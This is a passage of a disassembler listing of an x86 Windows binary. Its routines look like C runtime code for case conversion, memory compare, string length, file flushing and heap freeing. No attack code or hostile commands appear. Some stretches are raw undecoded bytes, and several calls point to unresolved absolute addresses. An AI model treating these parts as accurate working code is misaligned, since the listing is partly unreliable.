ja short loc_41DD35
jb short loc_41DD36
cmp eax, [esp+0Ch+arg_0]
jbe short loc_41DD36
loc_41DD35: ; CODE XREF: sub_41DCA0+85j
; sub_41DCA0+8Bj
dec esi
loc_41DD36: ; CODE XREF: sub_41DCA0+8Dj
; sub_41DCA0+93j
xor edx, edx
mov eax, esi
loc_41DD3A: ; CODE XREF: sub_41DCA0+57j
dec edi
jnz short loc_41DD44
neg edx
neg eax
sbb edx, 0
loc_41DD44: ; CODE XREF: sub_41DCA0+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_41DCA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DD4A proc near ; CODE XREF: sub_41743B+BFp
; sub_41743B+12Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_4D97D0
push ebx
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_4], ebx
jnz short loc_41DD7E
mov eax, [ebp+arg_0]
mov edx, eax
cmp [eax], bl
jz short loc_41DDE5
loc_41DD66: ; CODE XREF: sub_41DD4A+30j
mov cl, [edx]
cmp cl, 61h
jl short loc_41DD77
cmp cl, 7Ah
jg short loc_41DD77
sub cl, 20h
mov [edx], cl
loc_41DD77: ; CODE XREF: sub_41DD4A+21j
; sub_41DD4A+26j
inc edx
cmp [edx], bl
jnz short loc_41DD66
jmp short loc_41DDE5
; ---------------------------------------------------------------------------
loc_41DD7E: ; CODE XREF: sub_41DD4A+11j
push esi
push edi
push 1
push ebx
push ebx
push ebx
push 0FFFFFFFFh
mov esi, 200h
push [ebp+arg_0]
push esi
push eax
call sub_4229D2
mov edi, eax
add esp, 20h
cmp edi, ebx
jz short loc_41DDD7
push edi
call sub_41BC9B
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_41DDD7
push 1
push ebx
push edi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push dword_4D97D0
call sub_4229D2
add esp, 20h
test eax, eax
jz short loc_41DDD7
push [ebp+var_4]
push [ebp+arg_0]
call sub_41C620
pop ecx
pop ecx
loc_41DDD7: ; CODE XREF: sub_41DD4A+53j
; sub_41DD4A+61j ...
push [ebp+var_4]
call sub_41BA31
mov eax, [ebp+arg_0]
pop ecx
pop edi
pop esi
loc_41DDE5: ; CODE XREF: sub_41DD4A+1Aj
; sub_41DD4A+32j
pop ebx
leave
retn
sub_41DD4A endp
; =============== S U B R O U T I N E =======================================
sub_41DDE8 proc near ; CODE XREF: sub_417E35+1A8p
arg_0 = dword ptr 4
cmp dword_43A88C, 1
jle short loc_41DDFF
push 4
push [esp+4+arg_0]
call sub_41F44A
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41DDFF: ; CODE XREF: sub_41DDE8+7j
mov eax, [esp+arg_0]
mov ecx, off_43A680
mov al, [ecx+eax*2]
and eax, 4
retn
sub_41DDE8 endp
; =============== S U B R O U T I N E =======================================
sub_41DE10 proc near ; CODE XREF: sub_420445+76p
; sub_420445+88p ...
arg_0 = dword ptr 4
cmp dword_43A88C, 1
jle short loc_41DE27
push 8
push [esp+4+arg_0]
call sub_41F44A
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41DE27: ; CODE XREF: sub_41DE10+7j
mov eax, [esp+arg_0]
mov ecx, off_43A680
mov al, [ecx+eax*2]
and eax, 8
retn
sub_41DE10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DE40 proc near ; CODE XREF: sub_418246+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_41DE8C
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_41DE8D
test eax, 1
jz short loc_41DE6D
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41DEBA
inc esi
inc edi
dec eax
jz short loc_41DE8A
loc_41DE6D: ; CODE XREF: sub_41DE40+20j
; sub_41DE40+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41DEBA
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41DEBA
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41DE6D
loc_41DE8A: ; CODE XREF: sub_41DE40+2Bj
; sub_41DE40+84j
pop edi
pop esi
locret_41DE8C: ; CODE XREF: sub_41DE40+6j
retn
; ---------------------------------------------------------------------------
loc_41DE8D: ; CODE XREF: sub_41DE40+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_41DEC2
repe cmpsd
jz short loc_41DEC2
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_41DEB5
cmp ch, dh
jnz short loc_41DEB5
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_41DEB5
cmp ch, dh
loc_41DEB5: ; CODE XREF: sub_41DE40+63j
; sub_41DE40+67j ...
mov eax, 0
loc_41DEBA: ; CODE XREF: sub_41DE40+26j
; sub_41DE40+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41DEC2: ; CODE XREF: sub_41DE40+55j
; sub_41DE40+59j
test eax, eax
jz short loc_41DE8A
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_41DEB5
dec eax
jz short loc_41DEE9
cmp dh, ch
jnz short loc_41DEB5
dec eax
jz short loc_41DEE9
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_41DEB5
dec eax
loc_41DEE9: ; CODE XREF: sub_41DE40+8Fj
; sub_41DE40+96j
pop edi
pop esi
retn
sub_41DE40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DEEC proc near ; CODE XREF: sub_418566+6p
; sub_418584+4Ap ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4D97D0, 0
push ebx
push esi
push edi
jnz short loc_41DF19
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_41DFB2
cmp eax, 5Ah
jg loc_41DFB2
add eax, 20h
jmp loc_41DFB2
; ---------------------------------------------------------------------------
loc_41DF19: ; CODE XREF: sub_41DEEC+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_41DF4D
cmp dword_43A88C, esi
jle short loc_41DF3B
push esi
push ebx
call sub_41F44A
pop ecx
pop ecx
jmp short loc_41DF45
; ---------------------------------------------------------------------------
loc_41DF3B: ; CODE XREF: sub_41DEEC+42j
mov eax, off_43A680
mov al, [eax+ebx*2]
and eax, esi
loc_41DF45: ; CODE XREF: sub_41DEEC+4Dj
test eax, eax
jnz short loc_41DF4D
loc_41DF49: ; CODE XREF: sub_41DEEC+ADj
mov eax, ebx
jmp short loc_41DFB2
; ---------------------------------------------------------------------------
loc_41DF4D: ; CODE XREF: sub_41DEEC+3Aj
; sub_41DEEC+5Bj
mov edx, off_43A680
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41DF71
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_41DF7A
; ---------------------------------------------------------------------------
loc_41DF71: ; CODE XREF: sub_41DEEC+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_41DF7A: ; CODE XREF: sub_41DEEC+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push dword_4D97D0
call sub_4229D2
add esp, 20h
test eax, eax
jz short loc_41DF49
cmp eax, esi
jnz short loc_41DFA5
movzx eax, [ebp+var_4]
jmp short loc_41DFB2
; ---------------------------------------------------------------------------
loc_41DFA5: ; CODE XREF: sub_41DEEC+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41DFB2: ; CODE XREF: sub_41DEEC+16j
; sub_41DEEC+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41DEEC endp
; =============== S U B R O U T I N E =======================================
sub_41DFB7 proc near ; CODE XREF: sub_418AA2+ADp
; sub_419A81+55p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_41DFCE
loc_41DFC4: ; CODE XREF: sub_41DFB7+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_41DFC4
loc_41DFCE: ; CODE XREF: sub_41DFB7+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_41DFB7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DFD4 proc near ; CODE XREF: sub_418AA2+7Fp
; sub_418AA2+90p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_41E0A1
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_41E0CE
cmp dword_4D97D0, esi
jnz short loc_41E025
cmp edi, esi
jbe loc_41E0CE
loc_41E004: ; CODE XREF: sub_41DFD4+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_41E0CE
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_41E004
jmp loc_41E0CE
; ---------------------------------------------------------------------------
loc_41E025: ; CODE XREF: sub_41DFD4+26j
mov ebx, [ebp+arg_4]
mov esi, dword_4270F0
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push dword_4D97E0
call esi
test eax, eax
jnz loc_41E0CD
nop
call near ptr 2680DCDh
cmp eax, 7Ah
jz short loc_41E05F
loc_41E050: ; CODE XREF: sub_41DFD4+CBj
; sub_41DFD4+F7j
mov dword_4D9714, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41E0CE
; ---------------------------------------------------------------------------
loc_41E05F: ; CODE XREF: sub_41DFD4+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_41E067: ; CODE XREF: sub_41DFD4+B3j
mov cl, [eax]
test cl, cl
jz short loc_41E089
mov edx, off_43A680
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41E07E
inc eax
loc_41E07E: ; CODE XREF: sub_41DFD4+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_41E067
loc_41E089: ; CODE XREF: sub_41DFD4+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push dword_4D97E0
call esi
test eax, eax
jnz short loc_41E0CE
jmp short loc_41E050
; ---------------------------------------------------------------------------
loc_41E0A1: ; CODE XREF: sub_41DFD4+Fj
cmp dword_4D97D0, esi
jnz short loc_41E0B4
push [ebp+arg_4]
call sub_41B960
pop ecx
jmp short loc_41E0CE
; ---------------------------------------------------------------------------
loc_41E0B4: ; CODE XREF: sub_41DFD4+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push dword_4D97E0
nop
call near ptr 2700000h
cmp eax, esi
jz short loc_41E050
loc_41E0CD: ; CODE XREF: sub_41DFD4+6Bj
dec eax
loc_41E0CE: ; CODE XREF: sub_41DFD4+1Aj
; sub_41DFD4+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41DFD4 endp
; ---------------------------------------------------------------------------
db 0Ah
dd 0C9583EBh, 0E9B96805h, 0E06C55BBh, 0A1642824h, 0
dd 25896450h, 0
dd 5358EC83h, 65895756h, 0ABE890E8h, 33024839h, 89D48AD2h
dd 4D972C15h, 81C88B00h, 0FFE1h, 280D8900h, 0C1004D97h
dd 0CA0308E1h, 97240D89h, 0E8C1004Dh, 9720A310h, 0F633004Dh
dd 2CBE856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h
dd 0C3E8FC75h, 90000050h, 483915E8h, 0ADA4A302h, 81E8004Dh
dd 0A300004Fh, 4D9788h, 4D2AE8h, 4C6CE800h, 99E80000h
dd 89FFFFDDh, 458DD075h, 89E850A4h, 9002481Eh, 4BFDE8h
dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah
dd 569C75FFh, 2522E856h, 50900227h, 0FE3080E8h, 0A04589FFh
dd 0DD87E850h, 458BFFFFh, 8B088BECh, 984D8909h, 3BE85150h
dd 5900004Ah, 658BC359h, 9875FFE8h, 0FFDD79E8h
db 0FFh
; =============== S U B R O U T I N E =======================================
sub_41E1C9 proc near ; CODE XREF: ___:0041D7D8p
; ___:00422E20p ...
arg_0 = dword ptr 4
cmp dword_4D9790, 1
jnz short loc_41E1D7
call sub_423498
loc_41E1D7: ; CODE XREF: sub_41E1C9+7j
push [esp+arg_0]
call sub_4234D1
push 0FFh
call off_43A670
pop ecx
pop ecx
retn
sub_41E1C9 endp
; ---------------------------------------------------------------------------
dw 3D83h
dd offset dword_4D9790
dd 0E8057501h, 529Ch, 42474FFh, 52CCE8h, 0FF685900h, 90000000h
dd 0A57AA4E8h
db 77h, 0C3h
; =============== S U B R O U T I N E =======================================
sub_41E212 proc near ; CODE XREF: sub_41B9DB+2Ap
; sub_42393B+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, dword_4DAB60
jnb loc_41E2AC
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DAA60h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_41E2AC
push edi
call sub_4237AA
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41E28B
cmp edi, 1
jz short loc_41E259
cmp edi, 2
jnz short loc_41E26F
loc_41E259: ; CODE XREF: sub_41E212+40j
push 2
call sub_4237AA
push 1
mov ebp, eax
call sub_4237AA
pop ecx
cmp eax, ebp
pop ecx
jz short loc_41E28B
loc_41E26F: ; CODE XREF: sub_41E212+45j
push edi
call sub_4237AA
pop ecx
push eax
nop
call near ptr 2660000h
test eax, eax
jnz short loc_41E28B
nop
call near ptr 2680DCDh
mov ebp, eax
jmp short loc_41E28D
; ---------------------------------------------------------------------------
loc_41E28B: ; CODE XREF: sub_41E212+3Bj
; sub_41E212+5Bj ...
xor ebp, ebp
loc_41E28D: ; CODE XREF: sub_41E212+77j
push edi
call sub_423730
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_41E2A8
push ebp
call sub_420314
pop ecx
jmp short loc_41E2BD
; ---------------------------------------------------------------------------
loc_41E2A8: ; CODE XREF: sub_41E212+8Bj
xor eax, eax
jmp short loc_41E2C0
; ---------------------------------------------------------------------------
loc_41E2AC: ; CODE XREF: sub_41E212+Ej
; sub_41E212+2Fj
and dword_4D9718, 0
mov dword_4D9714, 9
loc_41E2BD: ; CODE XREF: sub_41E212+94j
or eax, 0FFFFFFFFh
loc_41E2C0: ; CODE XREF: sub_41E212+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41E212 endp
; =============== S U B R O U T I N E =======================================
sub_41E2C5 proc near ; CODE XREF: sub_41B9DB+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41E2EE
test al, 8
jz short loc_41E2EE
push dword ptr [esi+8]
call sub_41BA31
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_41E2EE: ; CODE XREF: sub_41E2C5+Aj
; sub_41E2C5+Ej
pop esi
retn
sub_41E2C5 endp
; =============== S U B R O U T I N E =======================================
sub_41E2F0 proc near ; CODE XREF: sub_41E390+2Dp
; sub_41E390+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_41E302
push esi
call sub_41E390
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E302: ; CODE XREF: sub_41E2F0+7j
push esi
call sub_41E32B
test eax, eax
pop ecx
jz short loc_41E312
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E312: ; CODE XREF: sub_41E2F0+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_41E327
push dword ptr [esi+10h]
call sub_4237E7
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_41E327: ; CODE XREF: sub_41E2F0+26j
xor eax, eax
pop esi
retn
sub_41E2F0 endp
; =============== S U B R O U T I N E =======================================
sub_41E32B proc near ; CODE XREF: sub_41B9DB+1Ap
; ___:0041D9C3p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_41E378
test ax, 108h
jz short loc_41E378
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_41E378
push edi
push eax
push dword ptr [esi+10h]
call sub_422825
add esp, 0Ch
cmp eax, edi
jnz short loc_41E371
mov eax, [esi+0Ch]
test al, 80h
jz short loc_41E378
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_41E378
; ---------------------------------------------------------------------------
loc_41E371: ; CODE XREF: sub_41E32B+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_41E378: ; CODE XREF: sub_41E32B+14j
; sub_41E32B+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41E32B endp
; =============== S U B R O U T I N E =======================================
sub_41E387 proc near ; CODE XREF: sub_4238E3p
push 1
call sub_41E390
pop ecx
retn
sub_41E387 endp
; =============== S U B R O U T I N E =======================================
sub_41E390 proc near ; CODE XREF: sub_41E2F0+Ap
; sub_41E387+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp dword_4DAA40, esi
jle short loc_41E3EE
loc_41E3A1: ; CODE XREF: sub_41E390+5Cj
mov eax, dword_4D9A30
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41E3E5
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_41E3E5
cmp [esp+0Ch+arg_0], 1
jnz short loc_41E3CB
push eax
call sub_41E2F0
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41E3E5
inc ebx
jmp short loc_41E3E5
; ---------------------------------------------------------------------------
loc_41E3CB: ; CODE XREF: sub_41E390+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_41E3E5
test cl, 2
jz short loc_41E3E5
push eax
call sub_41E2F0
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41E3E5
or edi, eax
loc_41E3E5: ; CODE XREF: sub_41E390+1Bj
; sub_41E390+23j ...
inc esi
cmp esi, dword_4DAA40
jl short loc_41E3A1
loc_41E3EE: ; CODE XREF: sub_41E390+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_41E3F9
mov eax, edi
loc_41E3F9: ; CODE XREF: sub_41E390+65j
pop edi
pop esi
pop ebx
retn
sub_41E390 endp
; ---------------------------------------------------------------------------
db 33h, 0C0h, 6Ah
dd 24443900h, 10006808h, 940F0000h, 0E89050C0h, 2491BECh
dd 0A0A3C085h, 74004DADh, 17E815h, 0C0850000h, 35FF0F75h
dd 4DADA0h, 48380EE8h, 0C0339002h, 58016AC3h, 14068C3h
dd 6A0000h, 0ADA035FFh, 0B5E8004Dh, 90023B1Bh, 9CA3C085h
dd 75004DADh, 2583C301h, 4DAD94h, 98258300h, 4DADh, 90A3016Ah
dd 0C7004DADh, 4DAD8805h, 1000h
db 0, 58h, 0C3h
; =============== S U B R O U T I N E =======================================
sub_41E477 proc near ; CODE XREF: sub_41BA31+Ap
; sub_41BB48+3Dp ...
arg_0 = dword ptr 4
mov eax, dword_4DAD98
lea ecx, [eax+eax*4]
mov eax, dword_4DAD9C
lea ecx, [eax+ecx*4]
loc_41E487: ; CODE XREF: sub_41E477+26j
cmp eax, ecx
jnb short loc_41E49F
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_41E4A1
add eax, 14h
jmp short loc_41E487
; ---------------------------------------------------------------------------
loc_41E49F: ; CODE XREF: sub_41E477+12j
xor eax, eax
locret_41E4A1: ; CODE XREF: sub_41E477+21j
retn
sub_41E477 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E4A2 proc near ; CODE XREF: sub_41BA31+16p
; sub_41BB48+89p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
mov edx, [ebp+arg_4]
mov ecx, [ebp+arg_0]
push ebx
push esi
mov eax, [ecx+10h]
mov esi, edx
sub esi, [ecx+0Ch]
mov ebx, [edx-4]
add edx, 0FFFFFFFCh
push edi
shr esi, 0Fh
mov ecx, esi
mov edi, [edx-4]
imul ecx, 204h
dec ebx
mov [ebp+var_4], edi
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ebx
mov [ebp+var_10], ecx
mov ecx, [ebx+edx]
test cl, 1
mov [ebp+var_8], ecx
jnz short loc_41E568
sar ecx, 4
push 3Fh
dec ecx
pop edi
mov [ebp+arg_4], ecx
cmp ecx, edi
jbe short loc_41E4FA
mov [ebp+arg_4], edi
loc_41E4FA: ; CODE XREF: sub_41E4A2+53j
mov ecx, [ebx+edx+4]
cmp ecx, [ebx+edx+8]
jnz short loc_41E54C
mov ecx, [ebp+arg_4]
cmp ecx, 20h
jnb short loc_41E528
mov edi, 80000000h
shr edi, cl
lea ecx, [ecx+eax+4]
not edi
and [eax+esi*4+44h], edi
dec byte ptr [ecx]
jnz short loc_41E54C
mov ecx, [ebp+arg_0]
and [ecx], edi
jmp short loc_41E54C
; ---------------------------------------------------------------------------
loc_41E528: ; CODE XREF: sub_41E4A2+68j
add ecx, 0FFFFFFE0h
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_4]
lea ecx, [ecx+eax+4]
not edi
and [eax+esi*4+0C4h], edi
dec byte ptr [ecx]
jnz short loc_41E54C
mov ecx, [ebp+arg_0]
and [ecx+4], edi
loc_41E54C: ; CODE XREF: sub_41E4A2+60j
; sub_41E4A2+7Dj ...
mov ecx, [ebx+edx+8]
mov edi, [ebx+edx+4]
mov [ecx+4], edi
mov ecx, [ebx+edx+4]
mov edi, [ebx+edx+8]
add ebx, [ebp+var_8]
mov [ecx+8], edi
mov [ebp+var_C], ebx
loc_41E568: ; CODE XREF: sub_41E4A2+45j
mov edi, ebx
sar edi, 4
dec edi
cmp edi, 3Fh
jbe short loc_41E576
push 3Fh
pop edi
loc_41E576: ; CODE XREF: sub_41E4A2+CFj
mov ecx, [ebp+var_4]
and ecx, 1
mov [ebp+var_14], ecx
jnz loc_41E625
sub edx, [ebp+var_4]
mov ecx, [ebp+var_4]
sar ecx, 4
push 3Fh
mov [ebp+var_8], edx
dec ecx
pop edx
cmp ecx, edx
mov [ebp+arg_4], ecx
jbe short loc_41E5A1
mov [ebp+arg_4], edx
mov ecx, edx
loc_41E5A1: ; CODE XREF: sub_41E4A2+F8j
add ebx, [ebp+var_4]
mov edi, ebx
mov [ebp+var_C], ebx
sar edi, 4
dec edi
cmp edi, edx
jbe short loc_41E5B3
mov edi, edx
loc_41E5B3: ; CODE XREF: sub_41E4A2+10Dj
cmp ecx, edi
jz short loc_41E622
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
cmp edx, [ecx+8]
jnz short loc_41E60A
mov ecx, [ebp+arg_4]
cmp ecx, 20h
jnb short loc_41E5E6
mov edx, 80000000h
shr edx, cl
lea ecx, [ecx+eax+4]
not edx
and [eax+esi*4+44h], edx
dec byte ptr [ecx]
jnz short loc_41E60A
mov ecx, [ebp+arg_0]
and [ecx], edx
jmp short loc_41E60A
; ---------------------------------------------------------------------------
loc_41E5E6: ; CODE XREF: sub_41E4A2+126j
add ecx, 0FFFFFFE0h
mov edx, 80000000h
shr edx, cl
mov ecx, [ebp+arg_4]
lea ecx, [ecx+eax+4]
not edx
and [eax+esi*4+0C4h], edx
dec byte ptr [ecx]
jnz short loc_41E60A
mov ecx, [ebp+arg_0]
and [ecx+4], edx
loc_41E60A: ; CODE XREF: sub_41E4A2+11Ej
; sub_41E4A2+13Bj ...
mov ecx, [ebp+var_8]
mov edx, [ecx+8]
mov ecx, [ecx+4]
mov [edx+4], ecx
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
mov ecx, [ecx+8]
mov [edx+8], ecx
loc_41E622: ; CODE XREF: sub_41E4A2+113j
mov edx, [ebp+var_8]
loc_41E625: ; CODE XREF: sub_41E4A2+DDj
cmp [ebp+var_14], 0
jnz short loc_41E634
cmp [ebp+arg_4], edi
jz loc_41E6BD
loc_41E634: ; CODE XREF: sub_41E4A2+187j
mov ecx, [ebp+var_10]
lea ecx, [ecx+edi*8]
mov ecx, [ecx+4]
mov [edx+4], ecx
mov ecx, [ebp+var_10]
lea ecx, [ecx+edi*8]
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41E6BD
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_41E691
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E680
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41E680: ; CODE XREF: sub_41E4A2+1CEj
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
lea eax, [eax+esi*4+44h]
or [eax], ebx
jmp short loc_41E6BA
; ---------------------------------------------------------------------------
loc_41E691: ; CODE XREF: sub_41E4A2+1C8j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E6A7
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41E6A7: ; CODE XREF: sub_41E4A2+1F3j
lea ecx, [edi-20h]
mov edi, 80000000h
shr edi, cl
lea eax, [eax+esi*4+0C4h]
or [eax], edi
loc_41E6BA: ; CODE XREF: sub_41E4A2+1EDj
mov ebx, [ebp+var_C]
loc_41E6BD: ; CODE XREF: sub_41E4A2+18Cj
; sub_41E4A2+1B6j
mov eax, [ebp+var_10]
mov [edx], ebx
mov [ebx+edx-4], ebx
dec dword ptr [eax]
jnz loc_41E7C8
mov eax, dword_4DAD94
test eax, eax
jz loc_41E7BA
mov ecx, dword_4DAD8C
mov edi, dword_4271D0
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call edi
mov ecx, dword_4DAD8C
mov eax, dword_4DAD94
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_4DAD94
mov ecx, dword_4DAD8C
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_4DAD94
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_4DAD94
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_41E748
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_4DAD94
loc_41E748: ; CODE XREF: sub_41E4A2+29Bj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_41E7BA
push ebx
push 0
push dword ptr [eax+0Ch]
call edi
mov eax, dword_4DAD94
push dword ptr [eax+10h]
push 0
push dword_4DADA0
call near ptr 27C0620h
nop
mov eax, dword_4DAD98
mov edx, dword_4DAD9C
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_4DAD94
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_41D400
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_4DAD98
cmp eax, dword_4DAD94
jbe short loc_41E7AC
sub eax, 14h
loc_41E7AC: ; CODE XREF: sub_41E4A2+305j
mov ecx, dword_4DAD9C
mov dword_4DAD90, ecx
jmp short loc_41E7BD
; ---------------------------------------------------------------------------
loc_41E7BA: ; CODE XREF: sub_41E4A2+233j
; sub_41E4A2+2AAj
mov eax, [ebp+arg_0]
loc_41E7BD: ; CODE XREF: sub_41E4A2+316j
mov dword_4DAD94, eax
mov dword_4DAD8C, esi
loc_41E7C8: ; CODE XREF: sub_41E4A2+226j
pop edi
pop esi
pop ebx
leave
retn
sub_41E4A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E7CD proc near ; CODE XREF: sub_41BB48+69p
; sub_41BCD9+Ep ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_4DAD98
mov edx, dword_4DAD9C
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
